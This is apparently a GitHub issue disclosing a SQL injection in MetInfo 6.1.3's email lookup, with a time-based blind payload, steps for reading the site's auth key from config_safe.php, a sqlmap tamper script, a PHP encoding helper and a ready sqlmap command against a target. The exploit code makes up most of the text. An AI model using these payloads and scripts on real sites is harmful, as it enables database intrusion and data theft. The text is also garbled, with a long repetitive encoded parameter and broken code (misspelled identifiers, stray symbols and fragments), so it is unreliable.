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There is a SQL inject vulnerability(limited by PHP-ts) #1



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onlywait commented on Feb 12, 2019
 Analysis
 Look\ at\ /app/system/include/class/user.class.php\ there is\ a\ function\ called\ get\_user\_by\_emailid
                           public function get_user_by_emailid($email)
                                          we can $email to directly into the SQL statement
 For convenience of debugging:
 After that, visit the url: http://localhost:8081/member/basic.php?a=dosafety_emailadd
  SQL:SELECT * FROM met_user WHERE email='123'' AND lang='cn'
as u can see, 123 has been inserted into SQL statement
 Then: http://localhost:8081/member/basic.php?
 a = dosafety\_emailadd \& p = f7d0QyEq6a5NyeiXr9\%2BMf64AnQCUB6T108t0e5el2eyHrajOLzHX\%2FOugywvVXSDmKluR9pa9E2BmcV\%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2BMcVXSDmKluR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2BMcVXSDmKluR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2BMcVXSDmKluR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2BMcVXSDmKluR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2BMcVXSDmKluR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2BMcVXSDmKluR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2BMcVXSDmKluR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2BMcVXSDmKluR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2BMcVXSDmKluR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2BMcVXSDmKluR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2BMcVXSDmKluR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2BMcVXSDmX0FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2BMcVXSDmX0FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2BMcVXSDmX0FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2BMcVXSDmX0FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMWop%2BMcVXSDmX0FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMWop%2BMcVXSDmX0FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMWop%2BMcVXSDmX0FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMWop%2BMcVXSDmX0FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BMcVXSDmX0FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BMcVXSDmX0FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcMxQFcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcMxQFcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcMxQFcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcMxQFcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcwaeQ5VMVwZaZ3ZPm7UEnPSpxQfcwaeQ5VMVwZaZ3ZPm7UEnPSpxQfcwaeQ5VMVwZaZ3ZPm7UEnPSpxQfcwaeQ5VMVwZaZ3ZPm7UEnPSpxQfcwaeQ5VMVwZaZ3ZPm7UEnPSpxQfcwaeQ5VMVwZaZ3ZPm7UEnPSpxQfcwaeQ5VMVwZaZ0Q5VMVwZaZ0Q5VMVwZaZ0Q5VMVwZaZ0Q5VMVwZaZ0Q5VMVWWZaZ0Q5VMVwZaZ0Q5VMVWWZaZ0Q5VMVWWZaZ0Q5VMVWZaZ
 49vcM9slai4
The state of the s
  SQL:SELECT * FROM met_user WHERE email='aaa@aa.com' or username='tete' and if(length(user())=14,sleep(5),0):#' AND lang='cn'
 Exploit
 key is the only restriction (from /config/config_safe.php Called by auth class)
If PHP-ts:
          view-source:http://localhost:8081/config/config_safe.php
                1 <?php/*R6SSIanqqo3qe1IFyQO1MfNEkT9kt96H*/?>
 elif PHP-nts:
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→ C view-source:localhost:8081/config/config_safe.php
   t (br /)
} (b)Notice(/b): Use of undefined constant php - assumed 'php' in (b)F:\blog\config\config\safe.php</b> on line (b)1(/b)(br /)
sqlmap tamper
  #!/usr/bin/env python
            Metinfo V6.1.3
           Only-wait
  from lib.core.enums import PRIORITY
  from sys import argv
import urllib2
   __priority__ = PRIORITY.LOWEST
  api_url = "http://localhost:8081/sqli.php?key=#1&encodestr=#2"
key_name = "/config/config_safe.php"
  def dependencies():
  def tamper(payload, **kwargs):
           global api url
            url = argv[2].replace("/member/basic.php?a=dosafety_emailadd&p=*","")
            send_key(url)
            res = request(api_url.replace("#2",urllib2.quote("a.com' or username='tete'"+payload)))
            if res["code"] == 200:
                     return res["text"]
  def send key(url):
           global api_url,key_name
            res = request(url+key name)
           if(res["code"] == 200):
    if(len(res["text"])>0):
                              api\_url = api\_url.replace("#1",res["text"].replace("<?php/*","").replace("*/?>",""))
                              print "[-] URL can not be used. "
  def request(url):
            request = urllib2.Request(url)
           request.add_header('Content-Type', 'application/x-www-form-urlencoded')
response = urllib2.urlopen(request)
            return {"code":response.getcode(),"text":response.read()}
Encode script( sqli.php in sqlmap tamper):
  <?php
           //作为api,方便调用,over
  class auth {
           public $auth_key;
           public function __construct($key) {
                     $this->auth_key = $key;
            public function decode(\$str, \$key = ''){
                    return $this->authcode($str, 'DECODE', $this->auth_key.$key);
           public function encode($str, $key = '', $time = 0){
    return $this->authcode($str, 'ENCODE', $this->auth_key.$key, $time);
            public function creatkey($length = '10'){
                     $str="A2B3C4zD5yE6xF7wG8vH9uitJsKrLnMmN1PkQjRiShTgUfVeWdXcYbZa";
                     $result="":
                     for($i=0;$i<$length;$i++){
                              $num[$i]=rand(0.25):
                              $result.=$str[$num[$i]];
                     return $result;
            public function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
                     $ckey_length = 4;
$key = md5($key);
                     $keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
                     $cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
                     $string = $operation == 'DECCOBE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0,
  16).$string;
                     $string_length = strlen($string);
$result = '';
                     $box = range(0, 255);
                     $rndkey = array();
for($i = 0; $i <= 255; $i++) {
                             $rndkey[$i] = ord($cryptkey[$i % $key_length]);
                     for($j = $i = 0; $i < 256; $i++) {
    $j = ($j + $box[$i] + $rndkey[$i]) % 256;
                              $tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
                     $j = ($j + $box[$a]) % 256;
                              $tmp = $box[$a];
                              $box[$a] = $box[$j];
$box[$j] = $tmp;
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}
                                                           if($operation == 'DECODE') {
                                                                                    if(substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
                                                                                   } else {
    return '';
}
                                                                                    return $keyc.str_replace('=', '', base64_encode($result));
                                 }
       }
                                  //POC:"aaa@aa.com' or username='tete' and if(length(user())>=10,sleep(5),0);#"
                                   if(isset($_REQUEST["key"]) && !empty($_REQUEST["key"]))
                                                           $auth = new auth($_REQUEST["key"]);
                                                           exit("[-] Please input key.");
                                  if(isset($_REQUEST["encodestr"]) && !empty($_REQUEST["encodestr"]))
                                                          \label{local-prop} $$ // \ar_dump(\frac{\alpha_0}{\alpha_0})=10, sleep(5), \theta); \#")); $$ // \ar_dump(urldecode(\frac{\beta_REQUEST["encodestr"])); $$ exit(\frac{\alpha_0}{\alpha_0})=10, sleep(5), \theta); \#")); $$ // \ar_dump(urldecode(\frac{\beta_REQUEST["encodestr"]))); $$ // \ar_dump(urldecode(\frac{\beta_REQUEST["encodestr"])); $$ // \ar_dump(
                                  else
                                                          exit("[-] Please enter encrypted string.");
       ?>
Then run command
       sqlmap.py -u "http://target.com/member/basic.php?a=dosafety_emailadd&p=*" --cookie "tete's cookie" --tamper "Metinfo.py" --dbms "mysql" --technique "T"
(Please register a member with user name "tete" by yourself or modify the script)
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Assignees

No one assigned

Labels

None yet

Projects None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

